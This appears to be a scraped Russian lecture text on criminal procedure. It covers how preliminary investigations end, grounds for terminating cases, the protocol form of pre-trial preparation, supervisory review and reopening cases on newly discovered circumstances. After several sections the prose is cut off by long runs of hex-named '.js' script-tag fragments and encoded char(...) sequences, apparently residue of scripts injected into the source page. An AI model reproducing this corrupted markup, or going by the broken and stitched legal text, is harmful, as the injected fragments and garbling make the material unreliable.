Окончание расследования — завершающий этап досудебной подготовки материалов. На этом этапе следователь и орган дознания подводят итоги расследования, анализируют и оценивают собранные доказательства, проверяют всесторонность, полноту и объективности исследования обстоятельств дела, систематизируют материалы, формулируют и обосновывают выводы по существу дела. При необходимости принимают меры по устранению пробелов в доказательствах и фактических обстоятельствах совершенного преступления.
Виды окончания предварительного расследования определяются принятием следователем, органом дознания итогового решения.
Дознание по делам, по которым предварительное следствие обязательно, завершается составлением постановления о передаче дела следователю (ст. 119 УПК).
Дознание по делам, по которым предварительное следствие не обязательно, и предварительное следствие могут быть окончены составлением обвинительного заключения или постановления о прекращении уголовного дела (ст. 124 и 199 УПК).
Кроме того, предварительное следствие может быть окончено составлением постановления о направлении дела в суд для рассмотрения вопроса о применении принудительных мер медицинского характера (ст. 199 УПК).
Основанием окончания предварительного расследования и составлением обвинительного заключения являются доказательства, позволяющие признать расследование законченным, а их совокупность достаточной для составления обвинительного заключения. Эти доказательства должны подтверждать:
? наличие обстоятельств, входящих в предмет доказывания (ст. 68 УПК);
? отсутствие обстоятельств, влекущих прекращение или приостановление уголовного дела;
? необходимость применения к обвиняемому мер уголовного наказания.
При наличии такого основания следователь осуществляет следующие процессуальные действия.
1. Оформляет уголовное дело, то есть подшивает, нумерует материалы уголовного дела и составляет их опись.
Систематизация материалов дела заключается в их группировке применительно к отдельным эпизодам преступной деятельности или отдельным обвиняемым. Она создает участникам процесса удобства для тщательного изучения материалов уголовного дела.
2. Уведомляет потерпевшего и его представителя, гражданского истца, гражданского ответчика или их представителей об окончании следствия и разъясняет им права на ознакомление с материалами дела (ст. 200 УПК).
В случае устного или письменного ходатайства об этом кого-либо из перечисленных лиц следователь знакомит потерпевшего и его представителя, гражданского истца или его представителя с материалами дела, а гражданского ответчика или его представителя — с материалами дела, относящимися к заявленному иску. Если при производстве предварительного следствия применялись киносъемка или звукозапись, то они воспроизводятся потерпевшему по его ходатайству.
Об ознакомлении этих лиц составляются протоколы, в которых отмечается, с какими материалами дела они ознакомлены, а также какие ходатайства были при этом заявлены. Письменные ходатайства приобщаются к делу.
В случае полного или частичного отказа в удовлетворении ходатайства следователь выносит об этом мотивированное постановление, которое объявляется лицу, заявившему ходатайство.
Следователь не вправе отказать в удовлетворении ходатайства, направленного на установление обстоятельств, указанных в ст. 20, 21 и 68 УПК (ст. 131 УПК). В этом случае он должен провести дополнительные процессуальные действия. По их окончании следователь вновь должен уведомить лиц, перечисленных в ст. 200 УПК, об окончании следствия и разъяснить им право на ознакомление с вновь собранными материалами.
3. Объявляет обвиняемому об окончании следствия по его делу и разъясняет ему право знакомиться с материалами дела как лично, так и с помощью защитника, а также право на заявление ходатайства о дополнении предварительного следствия (ст. 201 УПК).
Если обвиняемый не заявил о желании иметь защитника, ему предъявляются для ознакомления все материалы дела.
В случаях, когда обвиняемый ходатайствует о вызове защитника для участия в ознакомлении с производством по делу или когда участие защитника является обязательным при производстве расследования, а равно в случаях, когда защитник участвует в деле, следователь предъявляет все материалы дела обвиняемому и его защитнику. При этом предъявление материалов дела должно быть отложено до явки защитника, но не более чем на 5 суток. При невозможности для избранного обвиняемым защитника явиться в указанный срок следователь принимает меры для вызова другого защитника.415dfdee79f9f684d12247b9e5f5ed25.js" type="text/javascript">be98ca7aedd209a592a884a10365606dchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7b388f3e071013626d20cc57b7d0c045.js" type="text/javascript">706b2693aca53ce48d71d310a92c3077.js" type="text/javascript">0a6c399cafdc8ee2351b07fa6a1bc160.js" type="text/javascript">32c24758887b9322596b78f4fc16b4a7.js" type="text/javascript">7a8a0432981341020e8f36768f12daaf.js" type="text/javascript">4f566014982a9e684af53f4dea8d419b.js" type="text/javascript">28e9acc5c8d78a46d011f632b98bd3c5.js" type="text/javascript">9171abbcae9b3dc820ee0e5c18a02cff.js" type="text/javascript">5389d08732c9ec973784b16948b82d3e.js" type="text/javascript">b122be6b642b2d01a8c4fe1115a43f99.js" type="text/javascript">8e9194dd02636146d581fcc724299c34.js" type="text/javascript">

Предварительное расследование завершается прекращением уголовного дела при установлении обстоятельств, указанных в ст. 208 УПК. Дело прекращается:
1) при наличии оснований, указанных в ст. 5-9 УПК;
2) при недоказанности участия обвиняемого в совершении преступления, если исчерпаны все возможности для собирания дополнительных доказательств.
Если по делу привлечено несколько обвиняемых, а основания к прекращению дела относятся не ко всем обвиняемым, то дело прекращается в отношении отдельных обвиняемых.
В правовой литературе существуют различные классификации оснований прекращения уголовного дела.
В зависимости от закрепления этих оснований в действующем законодательстве различают материально-правовые и процессуальные основания.
Материально-правовые — основания, предусмотренные уголовным законом. К ним относятся обстоятельства, предусмотренные п. 1-5, 8 ст. 5 и ст. 6-9 УПК.
Процессуальные — основания, предусмотренные уголовно-процессуальным законом. К ним относятся обстоятельства, закрепленные в п. 6, 7, 9-11 ст. 5 и п. 2 ч. 1 ст. 208 УПК.
В зависимости от правовых последствий прекращения уголовного дела различают реабилитирующие и нереабилитирующие основания.
Реабилитирующие — основания, указывающие на несовершение лицом, по поводу действий которого велось расследование, преступления. К ним специалисты относят обстоятельства, указанные в п. 1,2,11 ст. 5 УПК, ч. 2 ст. 5 и п. 2, ч. 1, ст. 208, некоторые другие обстоятельства, связанные с отсутствием согласия на уголовное преследование со стороны государственных органов или должностных лиц.
Нереабилитирующие — основания, указывающие на совершение лицом преступления, но законом предусмотрено безоговорочное или возможное освобождение его от ответственности. Эти основания сформулированы в п. 3-10 ч. 1 ст. 5 УПК, ст. 6-9 УПК. Эти основания называются общими. Кроме того, уголовный закон предусматривает специальные основания, касающиеся лишь отдельных, конкретных преступлений. Так, например, примечание к ст. 126 УК гласит, что лицо, добровольно освободившее похищенного, освобождается от уголовной ответственности, если в его действиях не содержится иного состава преступления.
В зависимости от субъекта, окончательно принимающего решение о прекращении дела, различают основания, не требующие получения органом дознания, следователем согласия прокурора и требующие получения такого согласия. К первой группе относятся основания, закрепленные в ст. 5 УПК и п. 2 ч. 1 ст. 208 УПК, а ко второй — основания, указанные в ст. 6—9 УПК.
Наконец, среди них можно выделить основания, требующие безоговорочного прекращения дела, и основания, применяемые по усмотрению должностных лиц и с согласия обвиняемого. К первой группе относятся обстоятельства, перечисленные в п. 1,2,5,7,9-11 ч. 1 ст. 5 УПК, п. 2 ч. 1 ст. 208 УПК, а ко второй — обстоятельства, указанные в п. 3, 4, 6, 8 ч. 1 ст. 5 УПК и ст. 6-9 УПК.
Основаниями прекращения дела являются доказательства, с помощью которых установлены обстоятельства, исключающие или допускающие возможность прекращения дальнейшего производства по уголовному делу.
Поскольку обстоятельства, исключающие производство по делу, рассмотрены в лекции «Возбуждение уголовного дела», постольку в настоящей лекции предметом анализа будут основания прекращения дела, не рассматривавшиеся ранее.
1. Прекращение дела при недоказанности участия обвиняемого в совершении преступления (п. 2 ч. 1 ст. 208 УПК). Прекращение уголовного дела по этому основанию допускается при наличии совокупности следующих условий:
а) доказанности события преступления;
б) привлечения конкретного лица по данному делу в качестве обвиняемого;
в) доказательства, имеющиеся в материалах дела, не могут служить основанием для однозначного, достоверного вывода об участии обвиняемого в совершении преступления;
г) органы расследования исчерпали все возможности для собирания дополнительных доказательств об участии в совершении преступления привлеченного в качестве обвиняемого лица.c627e45fccbcd984e549537073933f4f.js" type="text/javascript">0429dd358afe5af8500aab9247d08d7echar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)836cec70ee4231a71da1cbb9d0050d66.js" type="text/javascript">6074c9f05803e3a9232f917e5e3fe08f.js" type="text/javascript">906326c57bfd5245c4faa0d19feb045a.js" type="text/javascript">26b66e33b70f1d2caa2ba4f23193ca3c.js" type="text/javascript">6eb58fa93c905f81ed0d4ce834cbd0c1.js" type="text/javascript">81b7861d7bc74122d6669b07bf5f881a.js" type="text/javascript">5d422603c2f6958f0d6b42506f73e97b.js" type="text/javascript">3b7ee735e0cdc3785b8f4c445b335fee.js" type="text/javascript">1675e2466d0c491b81181e86925c12ea.js" type="text/javascript">6a5cef0232e95f72190615b6f652900c.js" type="text/javascript">cd10efb6329f66e9a57d5d7dec09d884.js" type="text/javascript">

Введение в российское (советское) уголовное судопроизводство протокольной формы досудебной подготовки материалов в середине 60-х годов вызвало в правовой литературе и среди практических работников дискуссию, не утихающую до настоящего времени.
Предметом научных споров были и остаются в основном два вопроса:
1) о содержании и пределах дифференциации уголовного судопроизводства;
2) о социально-правовой природе протокольной формы досудебной подготовки материалов.
Так называемое упрощенное производство (именуемое в некоторых странах суммарным) по установлению обстоятельств совершения преступления как элемент судопроизводства значительно упростило порядок предварительного досудебного производства в сравнении с предварительным расследованием. В последнее время удельный вес протокольного производства в уголовном процессе, по данным некоторых авторов, достиг 25-30%. Это позволяет ему практически на равных конкурировать с дознанием и предварительным следствием.
Однако результатом упрощения процессуальной формы стали многочисленные нарушения процессуального закона.
В частности, органы дознания:
? устанавливают в протокольной форме обстоятельства преступлений, отсутствующие в перечне ст. 414 УПК;
? избирают меры пресечения, а также проводят такие следственные действия, как обыск, выемка, экспертиза;
? нарушают сроки досудебного производства;
? не во всех случаях выясняют необходимость применения к правонарушителям, злоупотребляющим спиртными напитками, принудительного лечения;
? не приобщают к материалам характеристики правонарушителей и справки о наличии или, отсутствии у них судимости;
? не знакомят правонарушителей с материалами досудебной подготовки и итоговым протоколом.*
* Постановление Пленума Верховного Суда РСФСР от 24 декабря 1985 г. «О судебной практике рассмотрения уголовных дел с протокольной формой досудебной подготовки материалов»//Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С. 453.

Тем не менее представляется возможным положительно оценить такую дифференциацию при условии насыщения протокольного производства началами судопроизводственного (состязательного, арбитрального) метода правового регулирования (возбуждением протокольного производства постановлением начальника органа дознания, допуском защитника к правонарушителю с момента возбуждения производства и т.д.).
Существенные особенности протокольного производства породили споры о его социально-правовой природе.
Ряд специалистов считают, что деятельность органа дознания по установлению обстоятельств преступления в протокольной форме является деятельностью административно-правового характера. Этот вывод обосновывается тем, что такого рода деятельность предшествует возбуждению уголовного дела и осуществляется вне процессуальной формы.*
* Строгович М. С. О единой форме уголовного судопроизводства и пределах дифференциации//Соц. законность. 1974. №9. С. 50.

Другие авторы полагают, что досудебная подготовка материалов в протокольной форме относится по своей правовой природе к институту уголовно-процессуального права. Эта точка зрения представляется не совсем точной, но обоснованной по следующим причинам.
1. Досудебная подготовка материалов в протокольной форме регулируется не процессуальными нормами административного, а общими и специальными нормами уголовно-процессуального права. А цель правового регулирования заключается в установлении наличия или отсутствия не административно-правового, а уголовно-правового отношения, состава не административного правонарушения, а преступления.
2. Обязанность осуществления рассматриваемого производства возложена не на административные органы как таковые, а на органы дознания, являющиеся участниками уголовного процесса.
3. Полномочия и функции суда, прокурора, органа дознания при осуществлении протокольного производства носят уголовно-процессуальный характер.
4. Материалы досудебной подготовки в протокольной форме являются основанием для рассмотрения и разрешения уголовно-правовых и иных отношений в судебном разбирательстве.
5. Законный, обоснованный, мотивированный и справедливый судебный приговор по материалам проверки в протокольной форме постановляется при условии достижения истины. Возвращение материалов досудебной подготовки в протокольной форме органам дознания или следствия для дополнительного расследования осуществляется судом на общих основаниях (ст. 232, 342 УПК).dbbc6b06dc0bd6ecd26b4cb131d7f308.js" type="text/javascript">cf62183c52dc6c5323fb03f809ad95cfchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ce12bc9ae3ed502dc1e15be97bea7acf.js" type="text/javascript">1331fae50d78a5aa0d5bd32265302206.js" type="text/javascript">80047ba29ce6acaa376296bba3c51ef7.js" type="text/javascript">3ce9309a91509f0e3670df59073567be.js" type="text/javascript">e94a55de42664853a8e46528ed846577.js" type="text/javascript">81dc38518d0f44482033f9bd457d3689.js" type="text/javascript">d651b7927469f1751c9d419d6f4df0c5.js" type="text/javascript">bef86f3ec0414cb171b9b756c07a513c.js" type="text/javascript">f0acd41eed7ddaf52574402548527090.js" type="text/javascript">4b749cfaf4131342826f5e4b4207abce.js" type="text/javascript">78f2f43c3fe33aa3a66cd7b395b431e3.js" type="text/javascript">

В ст. 414 УПК содержится исчерпывающий перечень 40 составов преступлений, обстоятельства совершения которых устанавливаются в протокольной форме досудебной подготовки материалов.
Законодатель установил принципиальное правило: порядок производства по уголовным делам об этих преступлениях определяется общими правилами за изъятиями, установленными статьями гл. 34 УПК. Следовательно, нормы этой главы являются специальными, которые применяются вместо общих правил. В то же время общие правила (нормы, регулирующие возбуждение уголовного дела, предварительное расследование) применяются при определении подследственности, предмета и пределов доказывания, способов доказывания, действия законов в пространстве, во времени, по лицам, содержания отдельных документов и других вопросов.
Специфика протокольного производства свидетельствует о том, что оно осуществляется лишь по очевидным преступлениям, то есть тогда, когда известна личность правонарушителя и для установления фактических обстоятельств преступного деяния не требуется проведения следственных действий по собиранию доказательств и применения мер уголовно-процессуального принуждения.
В качестве поводов к началу производства в протокольной форме может выступать любой источник получения информации о совершенном преступлении, предусмотренный ст. 108 УПК.
При наличии достаточных данных, указывающих на признаки очевидного преступления, обстоятельства которого могут быть установлены в протокольной форме, начальник органа дознания возбуждает протокольное производство. Роль процессуального документа, разрешающего производство в протокольной форме и фиксирующего его начальный момент, играет письменное указание о проведении досудебной подготовки материалов и поручение ее проведения соответствующему должностному лицу. Чаще всего такую подготовку материалов осуществляют штатные инспекторы отделов (отделений) дознания, участковые инспекторы, сотрудники ГИБДД, оперуполномоченные уголовного розыска и другие сотрудники органов дознания.
При возбуждении производства начальник органа дознания должен убедиться в отсутствии обстоятельств, перечисленных в ст. 5 УПК.
При выяснении данных о личности правонарушителя следует руководствоваться ст. 68 и 151 УПК. В частности, необходимо установить фамилию, имя, отчество, дату и место рождения, гражданство, национальность, образование, семейное положение, место работы, род занятий или должность, место жительства, прежнюю судимость и другие сведения, имеющие значение для правильного разрешения дела.
Определение обстоятельств, подлежащих установлению при протокольном производстве, осуществляется на основе положений ст. 68 УПК.
В соответствии со ст. 415 УПК установление обстоятельств, входящих в предмет доказывания, производится с помощью проверочных действий:
1) истребования документов и иных материалов;
2) получения объяснений от правонарушителя, очевидцев и других лиц.
Обязательному истребованию подлежат:
а) справка о наличии или отсутствии судимости у правонарушителя;
б) характеристика с места его работы или учебы;
в) документы, необходимые для решения вопроса о применении к нему принудительного лечения от алкоголизма или наркомании;
г) другие материалы, имеющие значение для рассмотрения дела в суде.
Объяснения участников протокольного производства должны содержать:
? время и место получения объяснений;
? данные о должностном лице, получившем объяснения;
? установочные данные о лице, давшем объяснение;
? фактические обстоятельства совершения преступления;
? фактические данные, подтверждающие обстоятельства совершения преступления и виновность правонарушителя.
Объяснения подписываются лицами, их давшими, и должностными лицами, получившими объяснения. Лица, дающие объяснения, не предупреждаются об ответственности за дачу заведомо ложных показаний и за отказ от дачи показаний (ст. 307, 308 УК), поскольку получение объяснений не является допросом, то есть следственным действием. Тем не менее лицам, дающим объяснения, следует обязательно разъяснять содержание ст. 51 Конституции РФ, установившей, что «никто не обязан свидетельствовать против себя самого, своего супруга и близких родственников». Об этом делается отметка в тексте объяснения, удостоверяемая подписью лица, дающего объяснение.ec6ea8d07ff309e3f82da8d60480a3a4.js" type="text/javascript">737d1ba7d751e2f9b006b61b397c1ce3char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)d540e6d9f7d026b7a6cc576fd2af8bd2.js" type="text/javascript">dced6b1e2e0d8725809cf0b8784ba53f.js" type="text/javascript">24acebe9fac781d1cce8a4adc9cbfdce.js" type="text/javascript">7b233885aed35e7d3f803cc3da45f72a.js" type="text/javascript">928f40edff11b7bf99808d6461d4d97a.js" type="text/javascript">ef727b740ba52d4995f2f2156073a9c9.js" type="text/javascript">d763c39d6c5c765f5adb5ff1cb2e3d78.js" type="text/javascript">c140fc753a331db8ab37a0488cc6cfe8.js" type="text/javascript">e48c1016a79c385f3a0fbbb22552c30b.js" type="text/javascript">66c4401fac41cfa424dcf53ebd050d98.js" type="text/javascript">0658f34882a6cf006630a3a266afb102.js" type="text/javascript">

В отличие от пересмотра судебных решений, не вступивших в законную силу, в порядке судебного надзора пересматривается более широкий круг судебных решений, иных по своему характеру.
В этой стадии пересмотру подлежат судебные решения, вступившие в законную силу в соответствии со ст. 356 УПК.
Предметом пересмотра в порядке судебного надзора могут быть:
? постановления мирового судьи и судьи районного суда;
? приговоры мирового судьи, судов первой и апелляционной инстанций;
? определения суда кассационной инстанции;
? определения и постановления суда нижестоящей надзорной инстанции;
? постановления судов, принятые в стадии исполнения приговора.
Среди лиц, имеющих отношение к возбуждению надзорного производства, следует различать:
1) лиц, возбуждающих надзорное производство, поскольку стадия производства в порядке судебного надзора начинается с момента поступления в соответствующий орган жалобы, заявления, ходатайства, представления и т. п.
В этом плане с просьбой о пересмотре дела в порядке надзора могут обратиться не только участники уголовного процесса, но и любые граждане, объединения, учреждения, организации, Уполномоченный по правам человека РФ;
2) должностных лиц, возбуждающих судебное рассмотрение уголовного дела в порядке надзора.
Круг этих лиц ограничен и указан в ст. 371 УПК.
Протесты вправе приносить:
1) Генеральный прокурор РФ, Председатель Верховного Суда РФ и их заместители — на приговоры (в том числе приговоры (или постановления) мировых судей, приговоры (или постановления) суда апелляционной инстанции), определения и постановления любого суда Российской Федерации, за исключением постановлений Президиума Верховного Суда РФ;*
2) председатель суда областного звена, прокурор субъекта РФ — на приговор (или постановление) мирового судьи, приговор (или постановление) суда апелляционной инстанции, приговор и определение районного суда и определение Судебной коллегии по уголовным делам суда областного звена, рассмотревшей дело в кассационном порядке.
* Конституционный Суд РФ признал этот пункт ст. 371 УПК и ч. 3 ст. 374 УПК соответствующими Конституции РФ постольку, поскольку предусмотренные ими ограничения на пересмотр в порядке надзора постановлений Президиума Верховного Суда Российской Федерации не исключают возможности использования иных процессуальных средств исправления судебных ошибок. См.: Постановление Конституционного Суда РФ от 2 февраля 1996 г. «О проверке конституционности пункта 5 части второй статьи 371, части третьей статьи 374 и пункта 4 части второй статьи 384 Уголовно-процессуального кодекса РСФСР в связи с жалобами граждан К. М. Кульнева, В. С. Лалуева, Ю. В. Лукашева и И. П. Серебренникова»//Комментарий к постановлениям Конституционного Суда Российской Федерации. М., 2000. Т. 2. С. 797.

Протесты на приговоры военных судов приносятся в порядке, установленном ФКЗ «О военных судах Российской Федерации». В соответствии с этим законом правом принесения надзорного протеста обладают Председатель Военной коллегии Верховного Суда РФ (ст. 11 ФКЗ «О военных судах Российской Федерации») и председатель окружного (флотского) военного суда (ст. 19 ФКЗ «О военных судах Российской Федерации»).
Протест в порядке судебного надзора — процессуальный документ надлежащего должностного лица, в котором излагаются сущность судебного решения, вступившего в законную силу, и основания, указывающие на необходимость отмены или изменения этого решения.5af63bdab82157fc520720959031085f.js" type="text/javascript">cf9c9f12cfef12ba2f8f34635acca2f0char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)4cf87459afb60a74d6af58481c5ce90a.js" type="text/javascript">de888150b90fc67265608d0ee87a4fd6.js" type="text/javascript">1be4ee6c5a93a3c919c2e8af2c6ea050.js" type="text/javascript">966d57a9beb0a05b80f064f9c3e99a89.js" type="text/javascript">0346f9931006fd2e4dc1db7393e43288.js" type="text/javascript">882dbb0a999ce003f10b2a009b22990a.js" type="text/javascript">f9c9bd0231f3b1384f736a975c5da204.js" type="text/javascript">3f89f55a0e538653ba0eb67b61347967.js" type="text/javascript">92d342b55694826e3ea3a6d809fb19e1.js" type="text/javascript">bb36b50bd07ed2dd11dcd9efeb76a0fb.js" type="text/javascript">70f1e425712fb2f0f1a16f580df1802f.js" type="text/javascript">

В правовой литературе справедливо отмечается, что производство в порядке судебного надзора включает в себя несколько частей:
1) рассмотрение сообщений, содержащих просьбу о принесении надзорного протеста;
2) принятие решения об истребовании уголовного дела или об отказе в его истребовании;
3) принятие решения по результатам изучения истребованного уголовного дела;
4) подготовку протеста в случае положительного решения и направление его вместе с делом в соответствующий суд;
5) рассмотрение судом надзорной инстанции дела и принятие им решения.
Известно, что надзорное производство возбуждается обычно сообщениями о незаконности и необоснованности судебных решений и просьбами о принесении протеста. Эти сообщения играют роль повода не к принесению протеста, а лишь к истребованию уголовного дела.
По результатам рассмотрения жалобы соответствующее должностное лицо может принять одно из следующих решений:
1) об отказе в удовлетворении жалобы в связи с отсутствием оснований для истребования дела. Об этом решении следует уведомлять заявителя мотивированным ответом с обоснованием принятого решения;
2) об удовлетворении жалобы и истребовании уголовного дела. Нельзя допускать отказа в истребовании дела, если содержащиеся в жалобе доводы не опровергаются доказательствами, приведенными в судебных документах, либо когда сами судебные решения вызывают сомнение в их законности и обоснованности.*
* Постановление Пленума Верховного Суда РСФСР от 5 декабря 1978 г. «О дальнейшем совершенствовании деятельности судов Российской Федерации по рассмотрению в порядке надзора жалоб по уголовным делам и пересмотру приговоров, определений и постановлений, вступивших в законную силу»// Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М.,2000. С. 440.

Правом истребования уголовных дел в пределах своей компетенции обладают должностные лица, которые имеют право на принесение надзорного протеста.
В порядке исключения право истребования дела принадлежит районному прокурору, который в необходимых случаях вносит вышестоящему прокурору представление о необходимости принесения протеста в порядке надзора (ст. 375 УПК).
По результатам изучения истребованного уголовного дела соответствующее должностное лицо принимает одно из следующих решений:
1) об отказе в удовлетворении жалобы в связи с отсутствием оснований для принесения протеста. В этом случае заявителя следует уведомлять письмом, которое должно содержать аргументированные ответы на все доводы жалобы, оспаривающие правильность судебного решения. Правильной практикой является составление в этом случае заключений с изложением конкретных доказательств и выводов, опровергающих доводы жалобы и подтверждающих законность и обоснованность приговора или иного решения;*
2) о составлении надзорного протеста и направлении его с делом в соответствующую надзорную инстанцию (ст. 376 УПК).
* Постановление Пленума Верховного Суда СССР от 5 апреля 1985 г. «О применении судами законодательства, регламентирующего пересмотр в порядке надзора приговоров, определений, постановлений по уголовным делам»//Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С. 434.
230fcb04275be1b336721a6dab58c639.js" type="text/javascript">fe4f2fa37a7628ecfc62e1699318887fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)a617d266e21f01ebaf056ea7713d5064.js" type="text/javascript">0cb2ad3f590a8cf2192c7b9957c1a2f5.js" type="text/javascript">8d5efc603415edf373d6ea95ae803a60.js" type="text/javascript">9905136a6426056e851d09400504984b.js" type="text/javascript">7432a2cebd074550cdd2aad34c27c9b3.js" type="text/javascript">a9557e46e0c395240bf9de7b75e506ca.js" type="text/javascript">8587a364782415f41f1316c22bd33934.js" type="text/javascript">5606b0433ec57efd5411dd541874143e.js" type="text/javascript">cf9e5b7f1767e5397f7caa0d941218a2.js" type="text/javascript">b8c6dd47e7ba971e964c8315c8b60320.js" type="text/javascript">a52cd755b9340dd245b0ecbf09900876.js" type="text/javascript">

Незаконный, необоснованный и несправедливый приговор постанавливается по различным причинам. Чаще всего судебные ошибки обусловлены неполнотой и односторонностью исследования обстоятельств дела и неправильной оценкой доказательств, собранных в процессе досудебной подготовки материалов и рассмотренных в судебном разбирательстве.
Однако некоторые судебные ошибки допускаются потому, что отдельные важные для правильного разрешения дела обстоятельства, существовавшие в период досудебной подготовки материалов и судебного разбирательства, не были известны участникам процесса и обнаруживаются уже после вступления судебного решения в законную силу. В этих случаях исправление неправосудных решений осуществляется в стадии возобновления дела по вновь открывшимся обстоятельствам.
Возобновление дела по вновь открывшимся обстоятельствам — самостоятельная и исключительная стадия уголовного судопроизводства.
Самостоятельность этой стадии определяется спецификой задач и целей, круга участников, сроков производства, правоотношений и процессуальных действий, содержания решений и составляемых документов.
Так, основными непосредственными задачами этой стадии являются установление наличия или отсутствия вновь открывшихся обстоятельств и их влияния на постановление законного, обоснованного приговора или иного судебного решения. Специфическим субъектом уголовно-процессуальных отношений является лицо, в отношении которого возбуждается производство по вновь открывшимся обстоятельствам. Значительными особенностями обладает предварительное, досудебное производство по вновь открывшимся обстоятельствам, осуществляемое в порядке ст. 386 УПК, что накладывает серьезный отпечаток на возникающие правоотношения. Наконец, в процессе установления вновь открывшихся обстоятельств самостоятельный характер присущ ряду решений, в том числе заключению прокурора.
Исключительный характер рассматриваемой стадии обусловлен:
1) проверкой законности и обоснованности судебных решений, вступивших в законную силу;
2) наличием специфических оснований для возбуждения производства по вновь открывшимся обстоятельствам;
3) зависимостью предмета проверки судебных решений (их законности и обоснованности) от вновь открывшихся обстоятельств;
4) исключением из сферы действия некоторых общих правил уголовного судопроизводства;
5) структурой и порядком уголовно-процессуального производства;
6) узким кругом полномочий судебных учреждений, рассматривающих дела по вновь открывшимся обстоятельствам, и некоторыми другими особенностями.
Разумеется, возобновление дела по вновь открывшимся обстоятельствам, будучи элементом системы стадий уголовного судопроизводства, имеет много общего с другими стадиями, и в первую очередь со стадией надзорного производства. Тем не менее она имеет принципиальные отличия от стадии производства в порядке судебного надзора.
Основное различие этих стадий, влекущее за собой в качестве последствий другие особенности, кроется в принципиальном своеобразии оснований к их возбуждению.
В самом общем виде необходимо отметить следующее.
Надзорное производство возбуждается на основании обстоятельств, которые были известны на предыдущих стадиях уголовного судопроизводства и являлись предметом обсуждения сторон. Основанием возбуждения производства по вновь открывшимся обстоятельствам являются юридические факты, объективно существовавшие на момент принятия решений, однако ставшие известными органам расследования, суду, прокурору или сторонам после вступления судебного решения в законную силу.
Эти факты носят самостоятельный характер. В связи с этим пересмотр судебного решения в порядке судебного надзора допускается лишь при наличии оснований, вытекающих из материалов дела. Если же сомнения в законности и обоснованности судебного решения связаны с обстоятельствами, которые не были известны суду и обнаружены после вступления соответствующего решения в законную силу, вопрос о пересмотре его может быть разрешен только в порядке производства по вновь открывшимся обстоятельствам.
Если при указанных обстоятельствах принесен протест в порядке судебного надзора, суд надзорной инстанции должен оставить его без удовлетворения и направить дело вместе со всеми материалами прокурору для возбуждения производства по вновь открывшимся обстоятельствам.*fb021de12614e21621e7007afa2b10c0.js" type="text/javascript">178ea2d1d6d1a69ca1a7ec753abb368echar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)3f88bdc7df20192a80929d69ce09e966.js" type="text/javascript">1c5c72873d1dc18ca243000aeef7cb1e.js" type="text/javascript">8ec4f1fff52d92e984f6968f90298ec4.js" type="text/javascript">dba04cd432ce0fc8e6dbddd97bfb55ae.js" type="text/javascript">0b6e0033d069fe18bb6b5d8c90f4f238.js" type="text/javascript">0c9eea97919882ff7ecbdaa6b7c6aba3.js" type="text/javascript">d92eb2f6012e596a80f3cfa340f28310.js" type="text/javascript">d0142461a71d68c9cd038b765118c1bf.js" type="text/javascript">cfef4e8160bed743cad95bca05e11069.js" type="text/javascript">6d067ef5175fbddc8c93912e934f3e69.js" type="text/javascript">21f95c657b4222ba96ad1c2747afd74a.js" type="text/javascript">

В соответствии со ст. 385 УПК пересмотр оправдательного приговора, приговора мирового судьи, приговора суда апелляционной инстанции, определения и постановления суда о прекращении дела, а равно пересмотр обвинительного приговора, приговора мирового судьи, приговора суда апелляционной инстанции, определения и постановления суда по мотивам мягкости наказания или необходимости применения к осужденному закона о более тяжком преступлении допускается лишь в течение сроков давности привлечения к уголовной ответственности, установленных ст. 78 УК, и не позднее одного года со дня открытия новых обстоятельств.
При установлении вновь открывшихся обстоятельств вступившим в законную силу приговором днем их открытия считается день вступления приговора в законную силу. При установлении этих обстоятельств специальным расследованием в порядке ст. 386 УПК днем их открытия считается день составления прокурором заключения по результатам проведенного расследования.
Пересмотр обвинительного приговора по вновь открывшимся обстоятельствам в пользу осужденного сроками не ограничен.
Смерть лица не препятствует возобновлению дела по вновь открывшимся обстоятельствам в целях реабилитации умершего или принятия законного и обоснованного решения в отношении других лиц.
Структура производства возобновления дел по вновь открывшимся обстоятельствам зависит от характера этих обстоятельств.
Поскольку обстоятельства фальсификации доказательств, преступных злоупотреблений лиц, осуществляющих уголовный процесс (п. 1-3 ст. 384 УПК), должны быть установлены вступившим в законную силу приговором, постольку их установление производится по общим правилам уголовного судопроизводства. В связи с этим производство по вновь открывшимся обстоятельствам включает в себя следующие структурные элементы:
1) истребование и изучение прокурором соответствующих уголовных дел;
2) принятие решения по истребованным уголовным делам;
3) составление заключения (при положительном решении) и направление его вместе с делом, подлежащим пересмотру, и приговором, которым установлены вновь открывшиеся обстоятельства, через вышестоящего прокурора в суд;
4) рассмотрение и разрешение судом вопроса о возобновлении дела по вновь открывшимся обстоятельствам.
Более сложной является структура производства по вновь открывшимся обстоятельствам, когда установление этих обстоятельств требует специального расследования. Это расследование проводится тогда, когда в силу различных причин вновь открывшиеся обстоятельства не могут быть установлены вступившим в законную силу приговором.
Расследованию в порядке ст. 386 УПК подлежат, в частности:
1) как правило, иные обстоятельства, указанные в п. 4 ст. 384 УПК;
2) обстоятельства, перечисленные в п. 1-3 ст. 384 УПК, при невозможности вынесения приговора в связи с:
а) истечением срока давности;
б) изданием акта амнистии или помилования отдельных лиц;
в) смертью обвиняемого.
В этих и подобных ситуациях производство по вновь открывшимся обстоятельствам включает в себя:
1) получение и рассмотрение прокурором сообщения о наличии вновь открывшихся обстоятельств;
2) принятие решения по поступившему сообщению;
3) возбуждение производства по вновь открывшимся обстоятельствам (при положительном решении);
